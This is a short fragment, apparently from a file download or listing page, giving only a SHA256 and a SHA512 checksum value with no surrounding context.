                                                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                                                        52c9e4b1a2d1ca0b4de5f5f4cce9aa98ec17b37a49ed2fc1842bb78937765dc9

                                                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                                                        a6a8017f1050d8f03eea7cf66522c39d64661c4d44c1642317c8ebf20d20c7d8e9f47e45bf01d512323195150cbee0dc3dd8da4bf90735b273a64eddaebc85ac